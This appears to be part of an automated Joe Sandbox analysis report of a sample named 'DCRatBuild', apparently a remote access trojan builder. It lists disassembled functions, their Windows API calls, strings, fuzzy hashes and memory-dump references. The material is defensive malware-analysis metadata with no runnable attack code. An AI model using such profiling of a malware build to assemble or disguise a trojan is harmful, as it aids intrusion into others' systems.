Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 667f669f3a3d60f743164dbf9a2c30c8a39f831aa7230ba5a6dbeeeaa3f45411
Instruction ID: bbda850a8f2d3d022db00abf64ff309836f0f7e2d5d08c3c77c277292d37c195
Opcode Fuzzy Hash: 667f669f3a3d60f743164dbf9a2c30c8a39f831aa7230ba5a6dbeeeaa3f45411
Instruction Fuzzy Hash: 62F0F031B91A22AB6F31EFF45C88A6663C8FF36745304063AE902D3610FB24CC94DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0088146A Relevance: 9.1, APIs: 6, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 008814C2

Part of subcall function 0087B146: GetVersionExW.KERNEL32(?), ref: 0087B16B

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 008814E6
FileTimeToSystemTime.KERNEL32(?,?), ref: 00881500
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00881513
SystemTimeToFileTime.KERNEL32(?,?), ref: 00881523
SystemTimeToFileTime.KERNEL32(?,?), ref: 00881533

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 392c4beb25e8e1a75e9ebfb7a1189cf54cad9a36d89b3ca83dac927c4c00bcfc
Instruction ID: d2dbc735a81e08b20e13fd3cb37f2e1f6edda4757ca6231b4c8720b84a1ef318
Opcode Fuzzy Hash: 392c4beb25e8e1a75e9ebfb7a1189cf54cad9a36d89b3ca83dac927c4c00bcfc
Instruction Fuzzy Hash: 2C31F875108305ABC700DFA8C88499BB7F8FF99714F004A1EF999C3610E734D509CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00892AFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00892AF1,008902FC,0088FA34), ref: 00892B08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00892B16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00892B2F
SetLastError.KERNEL32(00000000,00892AF1,008902FC,0088FA34), ref: 00892B81

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 40aabb7dbc52671d387f1e07f8c6d7d84254871c2c8e12afc4b128ea49f25d16
Instruction ID: 488f71f49338013e34228ee23fb631db78bde2fb442217a6a3463b42e0f6209a
Opcode Fuzzy Hash: 40aabb7dbc52671d387f1e07f8c6d7d84254871c2c8e12afc4b128ea49f25d16
Instruction Fuzzy Hash: 9201A23221A712BEBE243B787C95A2A2BD9FF537B4B680B3AF510D58E0EF115D009645

Uniqueness

Uniqueness Score: -1.00%

Function 008997E5 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,008B1030,00894674,008B1030,?,?,00893F73,00000050,?,008B1030,00000200), ref: 008997E9
_free.LIBCMT ref: 0089981C
_free.LIBCMT ref: 00899844
SetLastError.KERNEL32(00000000,?,008B1030,00000200), ref: 00899851
SetLastError.KERNEL32(00000000,?,008B1030,00000200), ref: 0089985D
_abort.LIBCMT ref: 00899863

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: efbda2c38ab919245915050cf567c95389114589b2440ee220dc54b41eddbfb8
Instruction ID: 3dac859f187f0ac8ea031646a0f79ec13e682698a74a6a17d49cc1db17c900cd
Opcode Fuzzy Hash: efbda2c38ab919245915050cf567c95389114589b2440ee220dc54b41eddbfb8
Instruction Fuzzy Hash: 68F0A435140A0266DE12332C7C0AA1B2A69FFD3771F2C013CF555E2692FE2588018567

Uniqueness

Uniqueness Score: -1.00%

Function 0088DC3B Relevance: 9.0, APIs: 6, Instructions: 42windowsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 0088DC47
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0088DC61
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0088DC72
TranslateMessage.USER32(?), ref: 0088DC7C
DispatchMessageW.USER32(?), ref: 0088DC86
WaitForSingleObject.KERNEL32(?,0000000A), ref: 0088DC91

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: 2f07cd61a232db5fdc507b8099e5e36956f4499faee56c3448523e50db5600c0
Instruction ID: 9f65daec99f68970dcaea75d88fae4d765bc23e03863b3400ebbe1cbab19cee6
Opcode Fuzzy Hash: 2f07cd61a232db5fdc507b8099e5e36956f4499faee56c3448523e50db5600c0
Instruction Fuzzy Hash: 88F04F72A01219BBCB206BA5EC4CECF7F7DFF42791B004122F50AD2050D674CA46CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0087C0C5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 008805DA: _wcslen.LIBCMT ref: 008805E0

Part of subcall function 0087B92D: _wcsrchr.LIBVCRUNTIME ref: 0087B944

_wcslen.LIBCMT ref: 0087C197
_wcslen.LIBCMT ref: 0087C1DF

Strings

.exe, xrefs: 0087C10B
.sfx, xrefs: 0087C11A
.rar, xrefs: 0087C0E1, 0087C134

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: _wcslen$_wcsrchr
String ID: .exe$.rar$.sfx
API String ID: 3513545583-31770016
Opcode ID: 9350be1749e9bcb0f2b86f974efb422370eeb9d6b2b2ef99fda86103e922423c
Instruction ID: 7c8c6d3af09fbaa14f279f94c0a1ea18340cad1e17839d89d68f68f594b69337
Opcode Fuzzy Hash: 9350be1749e9bcb0f2b86f974efb422370eeb9d6b2b2ef99fda86103e922423c
Instruction Fuzzy Hash: 13416A2254071595D732BF788802A7BB3A8FF42704F14851EF99AEB186EB50CDC2C3A2

Uniqueness

Uniqueness Score: -1.00%

Function 0088CE87 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 0088CE9D

Part of subcall function 0087B690: _wcslen.LIBCMT ref: 0087B696

_swprintf.LIBCMT ref: 0088CED1

Part of subcall function 00874092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 008740A5

SetDlgItemTextW.USER32(?,00000066,008B946A), ref: 0088CEF1
EndDialog.USER32(?,00000001), ref: 0088CFFE

Strings

%s%s%u, xrefs: 0088CEC6

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcslen
String ID: %s%s%u
API String ID: 110358324-1360425832
Opcode ID: b79e3c749b83250f703a636cca601f689bf72d5855dc9d2c565fb6ff2ce5784a
Instruction ID: 1728481fa9723abb0c98f2ae7c373cc0cb4bdd8f8933cf72501187684da36c43
Opcode Fuzzy Hash: b79e3c749b83250f703a636cca601f689bf72d5855dc9d2c565fb6ff2ce5784a
Instruction Fuzzy Hash: 0F415071900659AADF25EBA4CC45AEA77BCFB05340F4080A6FA09E7181EF749A44CF76

Uniqueness

Uniqueness Score: -1.00%

Function 0087BB03 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0087BB27
GetCurrentDirectoryW.KERNEL32(000007FF,?,?,?,?,00000000,?,?,0087A275,?,?,00000800,?,0087A23A,?,0087755C), ref: 0087BBC5
_wcslen.LIBCMT ref: 0087BC3B

Strings

UNC, xrefs: 0087BBA7
\\?\, xrefs: 0087BB52, 0087BB99, 0087BBF7, 0087BC4E

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: _wcslen$CurrentDirectory
String ID: UNC$\\?\
API String ID: 3341907918-253988292
Opcode ID: eddb1a4662462e863a16e8c961b8abf7a8baa1ae739edba07c2a8eab35da31cf
Instruction ID: 658f098d175ac5617b5c25b1e17d2233ad5d9f99d9220587a15d69f78d2b6dc7
Opcode Fuzzy Hash: eddb1a4662462e863a16e8c961b8abf7a8baa1ae739edba07c2a8eab35da31cf
Instruction Fuzzy Hash: C441B131400219AADF22AF64CC41FEB77AAFF92394F14C425F818E7159EB74DA948B61

Uniqueness

Uniqueness Score: -1.00%

Function 0088B6DD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 0088B6ED
GetObjectW.GDI32(00000000,00000018,?), ref: 0088B712
DeleteObject.GDI32(00000000), ref: 0088B744
DeleteObject.GDI32(00000000), ref: 0088B767

Part of subcall function 0088A6C2: FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,0088B73D,00000066), ref: 0088A6D5
Part of subcall function 0088A6C2: SizeofResource.KERNEL32(00000000,?,?,?,0088B73D,00000066), ref: 0088A6EC
Part of subcall function 0088A6C2: LoadResource.KERNEL32(00000000,?,?,?,0088B73D,00000066), ref: 0088A703
Part of subcall function 0088A6C2: LockResource.KERNEL32(00000000,?,?,?,0088B73D,00000066), ref: 0088A712
Part of subcall function 0088A6C2: GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,0088B73D,00000066), ref: 0088A72D
Part of subcall function 0088A6C2: GlobalLock.KERNEL32(00000000,?,?,?,?,?,0088B73D,00000066), ref: 0088A73E
Part of subcall function 0088A6C2: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 0088A7A7
Part of subcall function 0088A6C2: GlobalUnlock.KERNEL32(00000000), ref: 0088A7C6
Part of subcall function 0088A6C2: GlobalFree.KERNEL32(00000000), ref: 0088A7CD

Strings

], xrefs: 0088B71A

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: GlobalResource$Object$BitmapDeleteLoadLock$AllocCreateFindFreeFromGdipSizeofUnlock
String ID: ]
API String ID: 1428510222-3352871620
Opcode ID: 4d7ccbd83776f8e257d0c632fb1760e3d30ecb0b4756b332175be39408c077cd
Instruction ID: a327e273502ccf7357204e2318e2f21fa2e9747d4a1b74444cbf14fce4d8522c
Opcode Fuzzy Hash: 4d7ccbd83776f8e257d0c632fb1760e3d30ecb0b4756b332175be39408c077cd
Instruction Fuzzy Hash: 6701AD3654060567E71277B89C49A6F7BB9FBC0B62F180122B900E7295EB21CD0947A2

Uniqueness

Uniqueness Score: -1.00%

Function 0088D600 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00871316: GetDlgItem.USER32(00000000,00003021), ref: 0087135A
Part of subcall function 00871316: SetWindowTextW.USER32(00000000,008A35F4), ref: 00871370

EndDialog.USER32(?,00000001), ref: 0088D64B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 0088D661
SetDlgItemTextW.USER32(?,00000066,?), ref: 0088D675
SetDlgItemTextW.USER32(?,00000068), ref: 0088D684

Strings

RENAMEDLG, xrefs: 0088D618

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: f90cfef47adc16805de4a5f2834143e50360a04372f2337d45cd0f3b828489ee
Instruction ID: f170fc7e8b5e45e1a6b831453f06b7008e4896f5b6fc638c524f5b7587354885
Opcode Fuzzy Hash: f90cfef47adc16805de4a5f2834143e50360a04372f2337d45cd0f3b828489ee
Instruction Fuzzy Hash: 04012833385718BAE220AF689D09F5B776EFB6AB01F014111F705E20D1D7A69A048BB6

Uniqueness

Uniqueness Score: -1.00%

Function 00897E73 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00897E24,00000000,?,00897DC4,00000000,008AC300,0000000C,00897F1B,00000000,00000002), ref: 00897E93
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00897EA6
FreeLibrary.KERNEL32(00000000,?,?,?,00897E24,00000000,?,00897DC4,00000000,008AC300,0000000C,00897F1B,00000000,00000002), ref: 00897EC9

Strings

mscoree.dll, xrefs: 00897E8C
CorExitProcess, xrefs: 00897E9E

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: c1e5c766662dc2baa045cad98ea4c6da33b33396e075e65b9870b0e4a78acc11
Instruction ID: b93f6c274c61d221ad11a663609180036bc50cec982b50e8357e18599b0b6e4d
Opcode Fuzzy Hash: c1e5c766662dc2baa045cad98ea4c6da33b33396e075e65b9870b0e4a78acc11
Instruction Fuzzy Hash: 73F06231A14208BBEF11AFA4DC09B9EBFB5FF45711F0840A9F805E2660DB349E40CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0087F2C5 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0088081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00880836
Part of subcall function 0088081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0087F2D8,Crypt32.dll,00000000,0087F35C,?,?,0087F33E,?,?,?), ref: 00880858

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0087F2E4
GetProcAddress.KERNEL32(008B81C8,CryptUnprotectMemory), ref: 0087F2F4

Strings

CryptUnprotectMemory, xrefs: 0087F2EA
CryptProtectMemory, xrefs: 0087F2DE
Crypt32.dll, xrefs: 0087F2CE

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: f89e2818669ccf1ca7152a05a4300cf171bcf102c1e054470601b33f63c591bd
Instruction ID: 4cb06500e4a21b57d875cff26da6ce85aa2fcedbfdf5b03e77d0a76d5bf2b0b3
Opcode Fuzzy Hash: f89e2818669ccf1ca7152a05a4300cf171bcf102c1e054470601b33f63c591bd
Instruction Fuzzy Hash: 03E08670910F219EE7209FB9984DB01BAD4FF06710F14C82DF0EAD3B45D6B8E5808B50

Uniqueness

Uniqueness Score: -1.00%

Function 00892BDA Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00892CA1
___AdjustPointer.LIBCMT ref: 00892CC4
_abort.LIBCMT ref: 00892D12
___AdjustPointer.LIBCMT ref: 00892D60

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AdjustPointer$_abort
String ID:
API String ID: 2252061734-0
Opcode ID: 0dfb6fc022db85a5c18cf199623ac2ceeb9ba6d2a9f44c6c7474427899127391
Instruction ID: 7ff5c7abd3c3d096051882bb0f7dbc10a252bb209e767e30a61b66b822c68145
Opcode Fuzzy Hash: 0dfb6fc022db85a5c18cf199623ac2ceeb9ba6d2a9f44c6c7474427899127391
Instruction Fuzzy Hash: D951E17160021ABFDF29AF58D845BAA73A4FF14318F2C412DE802C76A2D731ED40DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0089BF30 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0089BF39
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0089BF5C

Part of subcall function 00898E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0089CA2C,00000000,?,00896CBE,?,00000008,?,008991E0,?,?,?), ref: 00898E38

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0089BF82
_free.LIBCMT ref: 0089BF95
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0089BFA4

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 516b700aae86749f3bf9e757169df407e289ce1b4108a8a7fd594aa9b6c1f00b
Instruction ID: 015ad748e3ba2f1fe9fdc4c06a633fddf79a06ccddd621586cbaf230917b21eb
Opcode Fuzzy Hash: 516b700aae86749f3bf9e757169df407e289ce1b4108a8a7fd594aa9b6c1f00b
Instruction Fuzzy Hash: B3018F726056157F2B213ABA6D8DC7BBA6DFEC3BA13180129F904C2241EF608D0295B1

Uniqueness

Uniqueness Score: -1.00%

Function 00899869 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,008991AD,0089B188,?,00899813,00000001,00000364,?,00893F73,00000050,?,008B1030,00000200), ref: 0089986E
_free.LIBCMT ref: 008998A3
_free.LIBCMT ref: 008998CA
SetLastError.KERNEL32(00000000,?,008B1030,00000200), ref: 008998D7
SetLastError.KERNEL32(00000000,?,008B1030,00000200), ref: 008998E0

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 8361c29ce7885426c3157d178aa32192f8e1a953f8f3b8e43a087e23bc0f6e5e
Instruction ID: ac50d7fcc32127d66922d550eb24ec832cbebcc2d2044e94d247831f2ed2c6cf
Opcode Fuzzy Hash: 8361c29ce7885426c3157d178aa32192f8e1a953f8f3b8e43a087e23bc0f6e5e
Instruction Fuzzy Hash: D4014436100A056BEE12332D6C8592B262DFBE337072C013CF851F2A92EE248C014162

Uniqueness

Uniqueness Score: -1.00%

Function 00880EED Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

